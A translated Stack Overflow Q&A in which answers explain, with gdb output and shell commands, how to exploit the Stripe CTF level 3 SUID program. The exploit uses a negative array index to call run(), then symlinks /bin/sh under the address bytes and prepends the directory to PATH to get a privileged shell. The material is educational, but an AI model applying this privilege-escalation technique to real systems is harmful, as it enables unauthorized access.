【问题标题】:Creating a symlink to a memory address. (SPOILERS: Stripe CTF contest)创建指向内存地址的符号链接。 (剧透:条纹 CTF 比赛)
【发布时间】:2012-03-14 20:38:15
【问题描述】:

所以我想参加 Stripe CTF 比赛,但我对安全性一无所知,所以当我遇到问题时,我查找了问题 3。我仍然不明白它是如何工作的。 黑客的目标是通过使用设置了SUID 位的应用程序来访问其他用户文件中的密码。这是应用程序的(简化的)代码:

#define NUM_FNS 4
typedef int (*fn_ptr)(const char *);
int to_upper(const char *str)
int to_lower(const char *str)
int capitalize(const char *str)
int length(const char *str)

int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}

int truncate_and_call(fn_ptr *fns, int index, char *user_string)
{
  char buf[64];
  // Truncate supplied string
  strncpy(buf, user_string, sizeof(buf) - 1);
  buf[sizeof(buf) - 1] = '\0';
  return fns[index](buf);
}

int main(int argc, char **argv)
{
  int index;
  fn_ptr fns[NUM_FNS] = {&to_upper, &to_lower, &capitalize, &length};

  if (argc != 3) {
    exit(-1);
  }

  // Parse supplied index
  index = atoi(argv[1]);

  if (index >= NUM_FNS) {
    exit(-1);
  }

  return truncate_and_call(fns, index, argv[2]);
}

这是我找到的解决方案:http://pastebin.com/VJ4xpawq

我很困惑为什么会这样。如果我使用 ./level03 -28 "echo foo;" 之类的代码运行代码我得到一个段错误。还有,为什么他的printf函数里的内存地址反了????

我迷路了,想学习。先感谢您。 :)

【问题讨论】:

    标签: c security memory symlink stack


    【解决方案1】:

    这段代码的目标是执行

    system("/bin/sh");
    

    由于可执行文件的 UID 为“level04”,它生成的 shell 的 UID 也为“level04”。

    这可以通过运行“已弃用”run 函数来完成:

    run("/bin/sh");
    

    我们注意到在函数truncate_and_call中,我们将调用一个函数,该函数由用户输入选择:

    return fns[index](buf);
    

    所以,我们尝试创建一个内存位置并组成一个index,这样fns[index] == &run

    index 被边界检查

      if (index >= NUM_FNS) {
        exit(-1);
      }
    

    这意味着我们提供的恶意index 必须小于 4 — 但它可能是负数!因此,我们的目标变成:

    1. 找到一个可写的内存位置之前 fns
    2. &run的内存地址写入其中
    3. buf 指定为启动shell 的东西。

    为了检查地址,我们在gdb 中运行程序并在truncate_and_call 处中断:

    $ gdb --quiet --args a.out 1 something
    Reading symbols from ~/a.out...done.
    (gdb) b truncate_and_call
    Breakpoint 1 at 0x80484c5: file 3.c, line 21.
    (gdb) r
    Starting program: ~/a.out 1 something
    
    Breakpoint 1, truncate_and_call (fns=0xffbffa6c, index=1, user_string=0xffc019ab "something") at 3.c:21
    21    strncpy(buf, user_string, sizeof(buf) - 1);
    (gdb) list
    16  
    17  int truncate_and_call(fn_ptr *fns, int index, char *user_string)
    18  {
    19    char buf[64];
    20    // Truncate supplied string
    21    strncpy(buf, user_string, sizeof(buf) - 1);
    22    buf[sizeof(buf) - 1] = '\0';
    23    return fns[index](buf);
    24  }
    25  
    

    注意这里还有一个局部变量buf,它:

    (gdb) p &buf $2 = (char (*)[64]) 0xffbffa00

    fns 之前有一个地址。这样第 1 步就完成了。我们只需要检查index,即

    (gdb) p (0xffbffa6c - 0xffbffa00) / 4 # 4 == sizeof(*fns) $4 = 27

    那么接下来的问题就是如何将&run的内存位置写入buf。这很容易,因为buf 只是函数的第二个参数user_stringstrcpy。检查run的地址是

    (gdb) 运行 $5 = (int (*)(const char *)) 0x80484ac

    小端系统中,此地址被编码为字符串"\xAC\x84\x04\x08"。可以使用printf 命令或$'...' 从shell 获取此字符串:

    $ echo `printf "\xac\x84\x04\x08"`
    ��
    $ echo $'\xac\x84\x04\x08'
    ��
    

    所以,最后一步是让它启动 shell。因为如果我们把"\xac\x84\x04\x08"赋值给buf,实际上调用的是

    run("\xac\x84\x04\x08");
    

    但我们想要"/bin/sh",而不是"\xac\x84\x04\x08"!这可以通过将/bin/sh 链接到名为"\xac\x84\x04\x08" 的文件来轻松解决,并将该文件的目录添加到$PATH

    $ export PATH=`pwd`:$PATH
    $ ln -s /bin/sh $'\xac\x84\x04\x08'
    $ $'\xac\x84\x04\x08'
    sh-4.2$ whoami
    level03
    

    因此,整个解决方案是:

    $ export PATH=`pwd`:$PATH
    $ ln -s /bin/sh $'\xac\x84\x04\x08'
    $ /levels/level03 -27 $'\xac\x84\x04\x08'
    sh-4.2$ whoami
    level04
    

    (注意:数字有点不同,因为我在我的机器上运行它们而不是 Stripe 的。)


    另外,您会在./level03 -28 "echo foo;" 中得到一个段错误,因为它会将地址解释为0x6f686365(4 个字节“echo”的 ASCII 代码),这是一个无效地址。

    【讨论】:

    • 这真是一个很好的解释。我在 gdb 中做到了set variable fns[-1] = &run,但不明白为什么它仍然作为 level03 执行。阅读有关 gdb ignoring suid 的信息,然后找到您的答案。这是非常有启发性的。谢谢!
    【解决方案2】:

    1) fns[-28]指向buf的地址

    2) 我们要执行0x804875b处的函数run

    3) 所以我们将 -28 传递为 argv[1] 并将 run 的地址传递为 argv[2]

    4) 索引获取值-28

    5) argv[2] 被复制到 buf

    6) 所以现在当fns[-28](buf) 在truncate_and_call 中被调用时,它会执行函数'run'

    7) run 执行时,其参数 'str' 的值将是 buf 的值

    8) 所以我们获取 buf 的值并将其符号链接到 /bin/sh 和

    9) 将当前目录放入路径 PATH=$PWD:$PATH - 通过将 $PWD 先放入,我们确保首先查找当前目录

    10)现在'system'在run命令中执行时,会在路径中寻找与buf的值同名的文件。

    11) 由于我们已经将它符号链接到 /bin/sh,我们得到了 shell 提示符

    【讨论】:

    • 天哪,这很聪明。我很困惑认为 fns[-28] 指向的是运行,而不是 buf。我明白为什么符号链接必须与函数名相同,因为 buf 的值既是函数名又是参数。 :) 哇,这很有帮助。谢谢。还有一个问题……该字符串怎么可能调用该函数? fns[-28] 指向 '\x5b\x87\x04\x08' 但这不只是字符吗?还是内存相同,所以指针和字符串基本上是一回事?
    • 我们使用 \x 传递十六进制而不是 ascii。在你的shell上执行printf '\x5b\x87\x04\x08',你就会明白我的意思。所以指针地址的内存表示将与我们传递的字符串的内存表示相同
    • 为什么字符串是向后存储的。这只是记忆的怪癖吗?
    • 正如@nos 指出的那样,“内存地址被颠倒了,因为它在一个小端机器上运行,其中最低有效字节首先存储在整数和指针中。”
    【解决方案3】:

    使用 ./level03 -28 ,您最终会执行以下操作:

     return fns[index](buf);
    

    其中索引为 -28。这是无效的,并且可能导致段错误。 除了验证 index >= NUM_FNS 之外,代码还应验证索引不小于零。

    内存地址是颠倒的,因为它在小端机器上运行,其中最低有效字节首先存储在整数和指针中。

    【讨论】:

      猜你喜欢
      • 2010-11-30
      • 2018-03-31
      • 2019-07-15
      • 1970-01-01
      • 2021-01-07
      • 2021-12-21
      • 2011-09-26
      • 1970-01-01
      • 2017-05-10
      相关资源
      最近更新 更多